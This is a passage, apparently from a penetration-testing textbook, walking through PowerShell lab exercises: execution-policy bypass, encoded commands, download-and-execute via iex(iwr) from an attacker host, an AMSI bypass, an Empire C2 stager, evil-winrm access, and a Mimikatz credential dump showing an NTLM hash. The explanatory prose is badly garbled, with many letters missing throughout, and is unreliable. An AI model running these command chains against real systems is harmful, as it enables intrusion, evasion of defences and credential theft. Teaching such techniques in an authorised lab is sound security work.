ha w load fom isid ou PowShll viom o boosap oh aciviis.
PowShll ca v us a us’s poxy sigs, so his is a ga way o sablish psis-
c i a viom.
Loading PowerShell Scripts

Bfo w ca do ay xploiaio wih PowShll, you d o kow how o xcu
scips. I mos vioms, usigd PowShll scips a’ allowd by dfaul.
W’ goig o ak a look a his bhavio so you ca idify i, ad h w’ll look a
how o bypass i so you ca boosap ay cod you wa o u.
NOTE Lab 15-1 uses the lab setup from GitHub. Follow the Setup guide
in the Lab15 directory. It will require you to run the CloudSetup directory
instructions first. Once this is done, you will be able to bring up the lab
environment for this section.
Lab 15-1: The Failure Condition
Bfo w look a how o g aoud scuiy, w should ak a look a how h scu-
iy woks wh i acio. To do his, w’ goig o build a vy simpl scip o ou
Widows 2019 box, ad h w’ll y o xcu his scip. Fo ou scip, w’ jus
goig o ca a dicoy lisig of h oo of C:\. Fis, w d o coc o h
ag sysm usig h cocio dails fom ou lab build oupu ad h cdials
lisd i h posioy fo Chap 15. Oc w log i o h sysm usig h Rmo
Dskop Poocol (RDP), w op up a commad pomp as Admiisao ad h
u h followig cod:
C:\Users\target>echo dir > test.ps1
C:\Users\target>powershell .\test.ps1
.\test.ps1 : File C:\Users\target\test.ps1 cannot be loaded because running
308
scripts is disabled on this system. For more information, see
about_Execution_Policies at https:/go.microsoft.com/fwlink/?LinkID=135170.
At line:1 char:1
+ .\test.ps1
+ ~~~~~~~~~~
+ CategoryInfo : SecurityError: (:) [], PSSecurityException
+ FullyQualifiedErrorId : UnauthorizedAccess
You ca s h ha h xcuio of ou s.ps1 scip was blockd bcaus uig
scips o h sysm has b disabld. L’s ak a look a h cu xcuio policy:
C:\Users\target>powershell -command Get-ExecutionPolicy
Restricted
This shows ha h cu xcuio policy is “Rsicd.” Tabl 15-1 povids a
bakdow of wha ach of h possibl xcuio policis dos.
L’s y chagig h xcuio policy o Usicd ad h u ou s.ps1 scip
agai:
C:\Users\target>powershell -com Set-ExecutionPolicy unrestricted -Scope CurrentUser
Unrestricted
Directory: C:\Users\target
As you ca s, oc w chag h policy o Usicd, ou scip us jus fi.
Basd o Tabl 15-1, i looks lik RmoSigd should also wok. L’s y i:
C:\Users\target>powershell -com Set-ExecutionPolicy RemoteSigned -Scope CurrentUser
RemoteSigned
Th RmoSigd policy woks as wll. I hoy, w could jus s h xcuio
policy o o of hs wo valus. Ufoualy, i may vioms, his valu is
focd by Goup Policis. I such a siuaio, i’s o ha asy o chag h policy.
Policy Description
Restricted Only system PowerShell commands can be run. The only way to run custom
commands is via Interactive mode.
AllSigned Any script can run if it is signed by a trusted publisher. This allows
corporations and third parties to sign their scripts to enable them to run.
RemoteSigned Scripts that have been downloaded can only be run if they are signed by a
trusted publisher.
Unrestricted Anything goes. Regardless of where or how the script has been obtained, it is
allowed to run.
Table 15-1 PowerShell Execution Policies
309
Thfo, l’s s h valu back o Rsicd, as show h, ad w’ll jus pocd
hough h s of h chap wih h sics cools abld:
C:\Users\target>powershell -com Set-ExecutionPolicy Restricted -Scope CurrentUser
Now, clos h commad pomp, as h maid of h labs should b u as h
omal “ag” us.
Lab 15-2: Passing Commands on the Command Line
I Lab 15-1, w xcud a umb of PowShll commads fom h commad li.
I his lab, w’ goig o look a how o xcu mo complx commads. I h pvi-
ous xampls, you saw ha h -command opio ca b usd o pass a commad o
PART III
h commad li; howv, may of h PowShll opios ca b shod. Fo his
lab, log back i o h ag machi i you lab usig RDP as h ag us. Lauch a
commad shll usig h pivilgs of h “ag” us. I his cas, w ca jus us -com,
as show h, ad sav ouslvs som ypig:
C:\Users\target>powershell -com Get-WmiObject win32_computersystem
Domain : WORKGROUP
Manufacturer : Xen
Model : HVM domU
Name : EC2AMAZ-H3UU9JA
PrimaryOwnerName : EC2
TotalPhysicalMemory : 8589524992
H, w w abl o issu a simpl Widows Maagm Isumaio (WMI)

quy wih PowShll, ad wihou ay addiioal quoaio maks aoud ou quy.
Fo basic quis, his will wok fi; howv, fo mo complx quis, w may u
io a poblm. L’s s wha happs wh w y o g addiioal ifomaio abou
h hosam:
C:\Users\target>powershell -com Get-WmiObject win32_computersystem|Select Name
'Select' is not recognized as an internal or external command,
operable program or batch file.
You ca s h ha w could’ us h pip chaac o pass daa fom o mhod
o aoh bcaus i is ipd by h opaig sysm. Th asis way o g aoud
his is hough h us of doubl quos, lik so:
C:\Users\target>powershell -com "Get-WmiObject win32_computersystem | Select Name"
Name
----
EC2AMAZ-H3UU9JA
310
No ha you hosam may b diff. This im, h pip chaac was’ i-
pd by h opaig sysm, so w could g jus h hosam ifomaio fom h
oupu of h WMI quy. Fo simpl commads, his woks wll, ad if w’ jus doig
a fw of hs commads, i’s asy ough o add hm io a bach scip ad u hm
fom h.
Lab 15-3: Encoded Commands
Wh w hav a mo complx ask, o havig o woy abou fomaig is ic.
PowShll has a hady mod ha allows us o pass i a Bas64-codd sig as a scip
o u—as log as h scip is o vy log. Th oal lgh fo a Widows commad-
li commad is abou 8,000 chaacs, so ha’s you limi.
W hav o mak a fw chags o ca a codd commad. Fis of all, h
encodedcommand opio of PowShll aks a Bas64-codd Uicod sig, so w
d o cov ou x o Uicod fis ad h cod i as Bas64. To do his,
w d a asy way o cov o Bas64 codig. Alhough w could us h ools
alady o Kali o do his, w’ goig o us o of my favoi oolkis, Ruby BlackBag
by Eic Moi. This Ruby gm coais los of codig ad dcodig ools o hlp wih
boh malwa aalysis ad hackig. SSH io h Kali isac isid you lab. Fis, w
d o isall i bfo w ca us i:
└─$ sudo gem install rbkb
Fetching rbkb-0.7.2.gem
Successfully installed rbkb-0.7.2
Parsing documentation for rbkb-0.7.2
Installing ri documentation for rbkb-0.7.2
Done installing documentation for rbkb after 0 seconds
1 gem installed
Oc his oolki is isalld, i o oly adds Ruby fucioaliy bu also cas som
hlp scips—o of which is calld b64, a Bas64 covsio ool. Nx, w’ll ak
h sam commad w usd i h las lab ad cov i o a PowShll-compaibl
Bas64 sig:
└─$ echo -n "Get-WmiObject win32_computersystem | select Name" \
| iconv -f ASCII -t UTF-16LE | b64
RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAHcAaQBuADMAMgBfAGMAbwBtAHAAdQB0AGUAcgBzAHkAcw
B0AGUAbQAgAHwAIABzAGUAbABlAGMAdAAgAE4AYQBtAGUA
H, w a usig echo wih h -n opio o pi ou ou PowShll commad
wihou icopoaig a wli. Nx, w pass ha io iconv, a chaac s cov,
which will cov ou ASCII x io UTF-16LE, h Widows Uicod foma.
Fially, w pass all of ha io b64, as show x. Th sig ha i oupus is h sig
w’ goig o us wih PowShll o ou Widows ag i h lab.
C:\Users\target>powershell -enc
RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAHcAaQBuADMAMgBfAGMAbwBtAHAAdQB0AGUAcgBzAHkAcw
B0AGUAbQAgAHwAIABzAGUAbABlAGMAdAAgAE4AYQBtAGUA
311
Th followig oupu should appa:
Name
----
EC2AMAZ-H3UU9JA
You ca s h ha wh w pass ou sig wih h -enc opio, w g h xpcd
oupu. Now w ca build mo complx scips ad pass a i scip o h com-
mad li so ha w do’ hav o woy abou scip xcuio pvio.
I addiio o usig h b64 ick, w ca also do his dicly fom PowShll
ud Kali. This isac has Micosof PowShll isalld ad is xcuabl by h
pwsh commad. W ca us h bulk of h PowShll commads h sam as w
would b abl o o Widows.
└─$ pwsh
PowerShell 7.1.1
PART III
Copyright (c) Microsoft Corporation.
https://aka.ms/powershell
Type 'help' to get help.
PS /home/kali> $cmd = "Get-WMIObject win32_computersystem | Select Name"
PS /home/kali> [convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($cmd))
RwBlAHQALQBXAE0ASQBPAGIAagBlAGMAdAAgAHcAaQBuADMAMgBfAGMAbwBtAHAAdQB0AGUAcgBzAHkAc
wB0AGUAbQAgAHwAIABTAGUAbABlAGMAdAAgAE4AYQBtAGUA
To xi h PowShll shll, yp exit o u o you gula shll pomps.
Lab 15-4: Bootstrapping via the Web
Fo complx scips, codig hm may o always b ou bs b. O of ou
oh opios is o pu hm o a wbsi, load h scips, ad h boosap hm
io ou cod. Two fucios i PowShll hlp us do his: Invoke-Expression ad
Invoke-WebRequest.
Invoke-WebRequest will go ou ad fch a wb pag ad h u h cos
of h pag. This allows us o how a pag o h I wih ou cod i i ad h
fch i fom wihi PowShll. This fucio uss h IE gi by dfaul, which ou
Widows 2019 box may o hav iiializd, so w’ goig o hav o us a wokaoud
o mak su i ca fch ou wb pags. W ca us h -UseBasicParsing opio o ll
h fucio o o y o pas h suls bu isad o jus u hm o us.
Th Invoke-Expression fucio valuas h cod passd o i. W could load h cod
fom a fil ad h pass i via sdi o aoh opio. O of h mos commo mhods
aacks us, hough, is o pass Invoke-Expression h oupu fom a wb qus so ha
hy ca boosap i lag pogams wihou havig o woy abou scip blockig.
To bgi, l’s ca a fil ha w wa o sv, ad h w ca sa a basic Pyho
sv i h backgoud. O h Kali box i h lab, yp h followig:
└─$ echo -n "Get-WmiObject win32_computersystem | select Name" > t.ps1
└─$ python3 -m http.server 8080 &
[1] 10932
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
312
Ou fil is amd .ps1 bcaus w wa o yp h las amou possibl. Wih ou
wb sv uig o Kali (10.0.0.40, i his xampl) ad ou cod i .ps1, w ca
xcu h cod hough ou PowShll commad li fom ou Widows ag wih-
ou havig o woy abou usig h encodedcommand opio. Us a commad shll
usig h “ag” us’s cox:
C:\Users\target>powershell
Windows PowerShell
PS C:\Users\target> iex(iwr -UseBasicParsing http://10.0.0.40:8080/t.ps1)
Name
----
EC2AMAZ-H3UU9JA
H, w hav chaid ou wo commads ogh o pull i h fil fom ou Kali
box ad xcu i. This givs us h sam oupu as uig locally, ad w did’ g ay
of h o mssags w saw bfo wh w w yig o xcu scips.
W ca do his sam hig wih Uivsal Namig Covio (UNC) pahs. Fo his
pa of h lab, w’ goig o us Impack’s smbsv i od o sha ou dicoy.
W wa o call ou sha ghh, ad w wa i o map o ou local dicoy. W a also
goig o u i i h backgoud. W will b abl o s h oupu fom h sv o
ou sc bu sill b abl o yp commads.
└─$ sudo impacket-smbserver ghh `pwd` -smb2support &
[2] 11076
└─$ Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
Fially, w ca s ou Samba svic. Wh pompd fo a passwod fom smbcli,
jus pss enter.
└─$ smbclient -L localhost
Enter WORKGROUP\kali's password:
--------- ---- -------
IPC$ Disk
GHH Disk
Oc ou svic is sad, w ca a sha lisig usig smbcli o vify ha
ou sha was succssfully addd. Wih h shas s up, ow w ca fc h sam
scip via a UNC pah. Isad of usig h commad li, l’s lauch h PowShll
xcuabl wihou ay commad-li opios ad y his ou:
PS C:\Users\target> iex(iwr \\10.0.0.40\ghh\t.ps1)
Name
----
EC2AMAZ-H3UU9JA
313
H w hav usd h sam basic appoach wih ou UNC pah isad of a URL.
This givs us a fw diff ways o xcu cod o boxs wihou havig o chag
policis fo PowShll.
Exploitation and Post-Exploitation

with PowerSploit
PowSploi is a collcio of ools dsigd o hlp p ss sablish a foohold ad
scala i a viom. Th ools hav b icludd i oh famwoks such
as PowShll Empi ad h Social Egiig Toolki (SET). Ths ools hlp us
sablish shlls, ijc cod io pocsss, dc ad miiga AV, ad mo. Oc w’v
sablishd accss o a box, hs ools ca hlp us scala ad dump ciical sysm
PART III
ifomaio.
Udsadig how hs ools wok ogh wih h s of ou ools will hlp us
g ad maiai accss o boxs as wll as o popaga houghou a domai. I his
scio, w’ goig o look a a hadful of h usful ools i h PowSploi sui ad
us hm o ca a foohold wihou havig o dop ay addiioal ools o h sysm.
Lab 15-5: Setting Up PowerSploit
Eali i h chap w lookd a diff ways o u scips wihi PowShll. I his
scio of h chap, w d o g PowSploi s up so w ca accss i asily. Wih
ou cloud sup, w alady hav PowSploi clod io a local dicoy, ad bcaus
i’s i ou hom dicoy, i is also mappd o ou SMB sha ad wb sv uig
fom h pvious xcis.
CAUTION Some tutorials online will have you access the files in PowerSploit
and other exploit code directly from GitHub using the raw .githubusercontent
.com site. This is incredibly dangerous because you don’t always know the state
of that code, and if you haven’t tested it, you could be running something
destructive on your target. Always clone the repository and test the scripts you
are going to run on a VM before you run them on a target system so that you,
your client, and your lawyers aren’t surprised.
To mak h URIs asi o accss, l’s am h dicoy o somhig sho.
Spac is’ ally a issu h; howv, wh w a yig o smuggl ov codd
daa, h codig adds mo chaacs, ad so sho is fquly b. To am
h dicoy, jus yp h followig:
└─$ mv PowerSploit ps
314
Wh w “cd” io h ps dicoy, w s a umb of fils ad a dicoy sucu.
L’s ak a high-lvl look a wha w ca fid i ach dicoy:
└─$ cd ps
┌──(kali kali)-[~/ps]
└─$ ls -1d */
AntivirusBypass/
CodeExecution/
Exfiltration/
Mayhem/
Persistence/
Privesc/
Recon/
ScriptModification/
Tests/
docs/
Th AiviusBypass subdicoy coais scips o hlp us dmi wh i a

biay h aivius (AV) may b idifyig a fil as malwa. Th scips i h hlp
spli a biay io pics, ad h hos pics a u hough AV. Th, wh you
aow h scop dow as fa as i will go, you ca idify h bys i h biay ha
d o b chagd i od o bypass a AV sigau.
Th CodExcuio subdicoy coais diff uiliis o g shllcod io
mmoy. Som of hs chiqus iclud DLL ijcio, shllcod ijcio io a
pocss, flciv ijcio, ad mo hos ijcio usig WMI. W’ll ak a look a
som of hs chiqus la i h chap as a way o g Masploi shllcod ijcd
io a sysm wihou usig fils.
Wh you wa o g ifomaio fom a sysm, you’d look i h Exfilaio fold.
This fold has ools o hlp you copy lockd fils, g daa fom Mimikaz, ad mo.
Som of h oh highlighs iclud kyloggs, scsho ools, mmoy dumps, ad
ools o hlp wih Volum Shadow Svic (VSS). Ths ools do’ hlp you g h daa
off h sysm, bu hy’ ga fo gaig daa ha is woh xfilaig.
If you wa o follow a scochd-ah policy, h Mayhm fold is fo you. Th
scips i his dicoy will ovwi h Mas Boo Rcod (MBR) of a sysm wih
a mssag of you choosig. This quis h sysm b sod fom backup i may
cass, so if you ag coais somhig you lik, say away fom his dicoy.
Th Psisc dicoy coais ools ha hlp you maiai accss o a sysm.
A vaiy of psisc mchaisms a availabl, icludig h gisy, WMI, ad
schduld asks. Ths ools hlp you ca boh lvad ad us-lvl psisc; ha
way, gadlss of wha lvl of accss you d, you ca asily maiai psisc o
ag sysms.
Th PivEsc dicoy coais ools o hlp you g lvad accss. Thy ag fom
uiliis ha hlp you idify wak pmissios ha ca b xploid, o ools ha acu-
ally do som of h wok fo you. W’ll ak a look a how o us som of hs ools la
i h chap.
Th Rco dicoy coais ools ha ca hlp you b udsad h vio-
m i which you’ wokig. Ths ools a hady fo gahig basic ifomaio,
po scaig, ad gig ifomaio abou domais, svs, ad woksaios. Thy
ca hlp you idify wha you wa o ag, as wll as hlp you build pofils fo wha
xiss i a viom.
315
Lab 15-6: Running Mimikatz Through PowerShell
O of h amazig faus of PowSploi is h abiliy o ivok Mimikaz hough
PowShll. To do his, w hav o call h Ivok-Mimikaz.ps1 scip ou of h Pivsc
fold. L’s giv i a sho. Log o o you Widows ag sysm i h lab ad h us
h followig commads:
PS C:\Users\target> iex(iwr -UseBasicParsing
http://10.0.0.40:8080/ps/Exfiltration/Invoke-Mimikatz.ps1)
At line:1 char:1
+ iex(iwr -UseBasicParsing http://10.0.0.40:8080/ps/Exfiltration/Invoke ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus
software.
+ CategoryInfo : ParserError: (:) [],
PART III
ParentContainsErrorRecordException
+ FullyQualifiedErrorId : ScriptContainedMaliciousContent
W ca s fom h o mssag ha Widows dcd h scip as malicious ad
blockd i. Th scip oly xiss i mmoy, so wha is happig h? Widows Ai-
malwa Sca Ifac (AMSI) is lookig a h co of h PowShll scip ad
h dmiig ha i is malicious. W hav a fw opios fo how o dal wih his:
w ca ih y a diff ool, y o obfusca h cod i such a way i is’ dcd
aymo, o disabl AMSI. Fo his xampl, l’s y o disabl AMSI. O ou Kali box,
w alady hav a scip calld amsi.ps1 siig i h Kali us hom dicoy. L’s y
o u ha ad s if w ca xcu h scip:
PS C:\Users\target> iex(iwr -UseBasicParsing http://10.0.0.40:8080/amsi.ps1)
-- AMSI Patch
-- Modified By: Shantanu Khandelwal (@shantanukhande)
-- Original Author: Paul La??n?? (@am0nsec)
[+] 64-bits process

[+] AMSI DLL Handle: 140731664891904
[+] DllGetClassObject address: 140731664898192
[+] Targeted address: 140731664904992
PS C:\Users\target> iex(iwr -UseBasicParsing
http://10.0.0.40:8080/ps/Exfiltration/Invoke-Mimikatz.ps1)
PS C:\Users\target>
Th AMSI bypass wokd! I his cas, w s i succssfully loadd h scip. Fom
h, w ca y o u Ivok-Mimikaz ad s if w ca g cdials:
PS C:\Users\target> Invoke-Mimikatz
Exception calling "GetMethod" with "1" argument(s): "Ambiguous match found."
At line:886 char:6
+ $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddr ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [], MethodInvocationException
+ FullyQualifiedErrorId : AmbiguousMatchException
316
W go a bi fuh his im, bu h scip od. O of h dowsids abou
PowSploi is ha i is o acivly maiaid. Th hav b a umb of quss
fo updas i h GiHub posioy fo som im. O of hm icluds h Ivok-
Mimikaz.ps1 scip ha is siig i h Kali hom dicoy. L’s y ha vsio isad:
PS C:\> iex(iwr -UseBasicParsing http://10.0.0.40:8080/Invoke-Mimikatz.ps1)
PS C:\> Invoke-Mimikatz -DumpCreds
.#####. mimikatz 2.2.0 (x64) #18362 Oct 30 2019 13:01:25

.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( [email protected] )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
mimikatz(powershell) # sekurlsa::logonpasswords
ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)
mimikatz(powershell) # exit
Bye!
PS C:\>
C:\>
I a, bu h a a fw poblms. Th fis hig ha w oic is ha h a o
cdials. This is bcaus his us is subjc o Us Accou Cool (UAC), ad h
us is’ uig i a lvad shll. Th scod hig w oic is ha PowShll is
fo som aso xid. Wh w pay aio o h Widows Dfd als, w s
ha Dfd has dcd malicious aciviy ad has killd ou pocss. If w w i a
lvad pocss, his scip would wok, bu sic w a’ w d o figu ou how
o g a pivilgd shll. Bcaus w a o h cosol, w ca jus qus o “Ru as
Admiisao,” bu if w w o a mo sssio, w would’ b abl o do ha.
Using PowerShell Empire for C2

Big abl o u idividual scips is ic, bu havig a comphsiv famwok fo
iacig wih PowShll moly woks b fo al-wold gagms. This is
wh Empi coms io play. Empi givs us h capabiliis of PowSploi i a fam-
wok wih moduls. I also follows a bacoig appoach ha’s cusomizabl, so you ca
b hid you iacios wih h commad ad cool (C2). I his scio, w’
goig o s up a basic C2, scala pivilgs, ad add psisc i Empi.
Lab 15-7: Setting Up Empire
Th oigial PowShll Empi has b abadod, bu BC Scuiy has pickd up
h pojc, pod i o Pyho3, ad is coiuig o mak updas. This is h vsio
ha’s ow budld wih Kali. Bcaus w will wa o us pos 80 ad 443, w d o
317
mak su oh svics a’ uig o hs pos ad h sa PowShll Empi
usig sudo.
└─$ sudo netstat -anlp | grep LISTEN | grep -e 80 -e 443
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN
40102/nginx: master
tcp6 0 0 :::80 :::* LISTEN
40102/nginx: master
unix 2 [ ACC ] STREAM LISTENING 16080 715/nmbd
/var/run/samba/nmbd/unexpected
This xampl shows gix is uig. To sop ha, w do h followig (you sysm
may hav a diff saus basd o you posiio i h labs):
└─$ sudo service nginx stop
PART III
└─$ sudo netstat -anlp | grep LISTEN | grep -e 80 -e 443
unix 2 [ ACC ] STREAM LISTENING 16080 715/nmbd
/var/run/samba/nmbd/unexpected
W s ha gix is ow soppd, so w ca sa Empi. To do his, w jus u h
powershell-empire biay usig sudo:
└─$ sudo powershell-empire
Oc Empi is sad, w will s is mu sysm, ad w ca yp help o s
opios o g sad.
Lab 15-8: Staging an Empire C2
Wih Empi s up, w d o ca a lis ad h a sag. Th sag abls us
o boosap xcuio of ou C2 o h ag sysm. Th lis civs commuica-
ios fom h compomisd sysms. W s up spcific liss fo spcific poocols
of commuicaio. Fo ou xampl, w’ goig o us a HTTP-basd lis so ha
wh a C2 cocs back o us, i looks lik wb affic.
Th fis sp is o s up ou lis. To do his, w go io h liss mu ad
choos h HTTP lis. Th w abl som basic sigs ad xcu ou lis,
lik so:
(Empire) > listeners
[!] No listeners currently active
(Empire: listeners) > uselistener http
(Empire: listeners/http) > set Port 80
(Empire: listeners/http) > execute
[*] Starting listener 'http'
* Serving Flask app "http" (lazy loading)
* Environment: production
WARNING: This is a development server. Do not use it in a production deployment.
Use a production WSGI server instead.
* Debug mode: off
[+] Listener successfully started!
318
Now ha ou lis is sad, h x sp is o ca ou boosap fil. To do his,
w go back ou o h mai mu ad choos a sag, as show h:
(Empire: listeners/http) > back
(Empire: listeners) > back
(Empire) > usestager windows/launcher_bat
(Empire: stager/windows/launcher_bat) > set Listener http
(Empire: stager/windows/launcher_bat) > generate
[*] Stager output written out to: /tmp/launcher.bat
W slc h windows/launcher_bat modul fo ou sag. This will giv us a
PowShll commad ha w ca copy ad pas o h ag sysm o lauch ou C2.
W spcify h lis w wa i o coc back o, ad fially w ga h fil.
Lab 15-9: Using Empire to Own the System
This lab bgis wh Lab 15-8 ds. Plas b su Empi is sill uig o h Kali
box i h lab. I his lab, w dploy ou ag ad h wok owad scalaio ad full
compomis of h sysm. Th /mp/lauch.ba fil will d o b asfd o ou
Widows sysm, so if h pyho wb sv is sill uig, all w d o do is o copy
i o ou hom dicoy. Fom a w SSH widow w yp:
└─$ cp /tmp/launcher.bat .
Nx l’s y o dowload ad u h fil o h Widows ag i h lab. To do
his, w ca us PowShll’s iwr commad:
PS C:\Users\target> iwr http://10.0.0.40:8080/launcher.bat -OutFile
launcher.bat
PS C:\Users\target> dir launcher.bat
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 2/6/2021 5:54 AM 5221 launcher.bat
PS C:\Users\target> .\launcher.bat
Program 'launcher.bat' failed to run: Operation did not complete successfully
because the file contains a virus or potentially unwanted software
At line:1 char:1
Wh you lis h dicoy fo lauch.ba, you may o s h fil bcaus Ai-
Vius has alady movd i. Do’ paic. This is xpcd. Ou fil dowloadd succss-
fully bu i did’ u poply bcaus i was dcd as a vius wh AMSI lookd a
h cod. To g aoud his, w ca us h AMSI bypass ad jus load h scip islf.
L’s sa ou by modifyig h ba fil o h Kali box so ha i jus has h Bas64
sig i i by dlig vyhig up o h Bas64 sig:
└─$ cat launcher.bat | grep enc | tr " " "\n" | egrep -e '\S{30}+' > dropper
319
This cod will gab h Bas64 sig ou of h fil ad sav i i a fil calld dopp.
Th cod is lookig fo h PowShll li wih c i i, covig h spacs o w-
lis ad h fidig h big sig. This will wok v if Empi chags h callig
covios slighly. W ow hav a fil calld dopp i ou hom dicoy ha w ca
call wih h wbsv fom ou Widows box.
PS C:\Users\target> iex(iwr -UseBasicParsing http://10.0.0.40:8080/amsi.ps1)
-- AMSI Patch
[+] 64-bits process

[+] AMSI DLL Handle: 140731664891904
PS C:\Users\target> $a = iwr -UseBasicParsing http://10.0.0.40:8080/dropper
PS C:\Users\target> $b = [System.Convert]::FromBase64String($a)
PART III
PS C:\Users\target> iex([System.Text.Encoding]::Unicode.GetString($b))
Fis w load ou AMSI bypass scip, ad w s ha i compls succssfully. W
load h Bas64 sig fom h sv io h vaiabl “$a” ad h cov ha fom
Bas64 usig FomBas64Sig. W sill hav o cov ha oupu io a Sig, so
h Uicod.GSig covs h “$b” vaiabl wih ou dcodd sig io a sig
ha iex ca xcu. This commad should hag, ad w should s oupu o ou Kali
box i Empi.
[*] Sending POWERSHELL stager (stage 1) to 10.0.0.20
[*] New agent CDE5236G checked in
[+] Initial agent CDE5236G from 10.0.0.20 now active (Slack)
[*] Sending agent (stage 2) to CDE5236G at 10.0.0.20
Oc ou ag is aciv, ou x sp is o iac wih ha ag, as show x.
No ha ags a spcifid by am, ad yous may b diff. I ou cas, w us
CDE5236G.
(Empire) > interact CDE5236G
(Empire: CDE5236G) >
Now ha w a iacig wih ou ag, w d o bypass h Us Accou
Cool (UAC) viom so ha w ca g a lvad shll o u Mimikaz. To
do his, w u h bypassuac commad, which should spaw a w lvad shll fo
us o wok wih:
(Empire: CDE5236G) > bypassuac http
[*] Tasked CDE5236G to run TASK_CMD_JOB
[*] Agent CDE5236G tasked with task ID 1
[*] Tasked agent CDE5236G to run module powershell/privesc/bypassuac_eventvwr
(Empire: CDE5236G) >
Job started: 9E1TXF
W s ha h job lauchd bu w did’ g a addiioal shll back. Wha’s mo,
if w look a ou Widows box, w’v b kickd ou of PowShll. Th bypassuac
modul’s aciviis w s as malicious, ad so PowShll was killd ad ow ou
ag has b miad as wll.
320
Figure 15-1 Viewing expired agents
W ca s fom Figu 15-1 ha h ag has soppd chckig i (h im is d i
h display). As of h wiig of his book, h is’ a UAC bypass xploi ha woks
wll ud Widows 2019 i Empi, so w will d o fid aoh way.
Lab 15-10: Using WinRM to Launch Empire
Widows Rmo Maagm (WiRM) is a mo maagm poocol ha allows

us o xcu PowShll. W will dig dp io som higs ha w ca do wih i i
Chap 16, bu fo his xcis all ha you d o kow is ha wh i us, i will
ypically u i a High Igiy cox, which mas ha i is alady lvad. L’s
ivsiga how o ll wha h igiy lvl is of you shll. Fis, i PowShll o h
Widows box, l’s us whoami o look a ou pivilgs:
PS C:\Users\target> whoami /groups |select-string Label
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
Th Labl lls wha h Madaoy Igiy Cool (MIC) lvl is. Mdium allows
may asks o u, bu o admiisaiv fucios. Th High Igiy lvl would
allow us o pfom Admiisaiv asks. L’s coc o h hos fom ou Kali lab box
usig vil-wim o s wha ou lvl is. Fis, op a w cocio o Kali i h lab
ad lauch vil-wim:
└─$ evil-winrm -i 10.0.0.20 -u target -p 'Winter2021!'
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\target\Documents> whoami /groups | select-string Level
Mandatory Label\High Mandatory Level Label S-1-16-12288
W ca s ha h WiRM cocio, v wih h sam cdials, has h High
Igiy lvl applid. L’s xi h shll by ypig exit ad build a sigl fil o us fo
sagig wih ou wb sv. Us you favoi dio ad add h followig cod o a w
fil calld sag.x:
iex(iwr -UseBasicParsing http://10.0.0.40:8080/amsi.ps1)
$a = iwr -UseBasicParsing http://10.0.0.40:8080/dropper
$b = [System.Convert]::FromBase64String($a)
iex([System.Text.Encoding]::Unicode.GetString($b))
321
Figure 15-2 Agent with elevated privileges
Rcoc wih Evil-WiRM ad call h scip moly:

└─$ evil-winrm -i 10.0.0.20 -u target -p 'Winter2021!'
*Evil-WinRM* PS C:\Users\target\Documents> iex(iwr -UseBasicParsing
http://10.0.0.40:8080/stage.txt)
PART III
-- AMSI Patch
[+] 64-bits process
[+] AMSI DLL Handle: 140731664891904
Th commad should hag, ad w should s a w cocio i Empi:
[*] Sending POWERSHELL stager (stage 1) to 10.0.0.20
[*] New agent G1UK4HVY checked in
[+] Initial agent G1UK4HVY from 10.0.0.20 now active (Slack)
[*] Sending agent (stage 2) to G1UK4HVY at 10.0.0.20
W ow hav a w ag ha should hav lvad pivilgs. W ca vify ha w
hav a lvad shll by ypig agents ad lookig fo a asisk (*) by h us, which
idicas lvad pivilgs.
W also oic ha i Figu 15-2 h pocss is o lisd as “powshll” bu
as “wsmpovhos,” which is h pocss ha WiRM us ud. W ca also s
wha oh cdials may b i mmoy usig Mimikaz. To do his, w ca u
h usemodule commad o load h mimikatz logonpasswords commad ad h
xcu i wihi h cox of ou ag:
(Empire) > interact G1UK4HVY
(Empire: G1UK4HVY) > usemodule credentials/mimikatz/logonpasswords*
(Empire: powershell/credentials/mimikatz/logonpasswords) > execute
[*] Tasked G1UK4HVY to run TASK_CMD_JOB
[*] Agent G1UK4HVY tasked with task ID 2
[*] Tasked agent G1UK4HVY to run module
powershell/credentials/mimikatz/logonpasswords
(Empire: powershell/credentials/mimikatz/logonpasswords) >
Job started: VR9Y3N
Hostname: EC2AMAZ-H3UU9JA / S-1-5-21-2217241502-1309182757-3818233093
.#####. mimikatz 2.2.0 (x64) #19041 Oct 4 2020 10:28:51
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( [email protected] )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz(powershell) # sekurlsa::logonpasswords
322
Authentication Id : 0 ; 299099 (00000000:0004905b)
Session : RemoteInteractive from 2
User Name : target
Domain : EC2AMAZ-H3UU9JA
Logon Server : EC2AMAZ-H3UU9JA
Logon Time : 2/1/2021 3:57:06 AM
SID : S-1-5-21-2217241502-1309182757-3818233093-1008
msv :
[00000003] Primary
* Username : target
* Domain : EC2AMAZ-H3UU9JA
* NTLM : 5a00eb5b36b88519b7725b82d3464b0a
* SHA1 : 40f1de2ed441fe33a1ccdb949db6a4cb180b3d8d
tspkg :
wdigest :
* Username : target
* Password : (null)
kerberos :
* Username : target
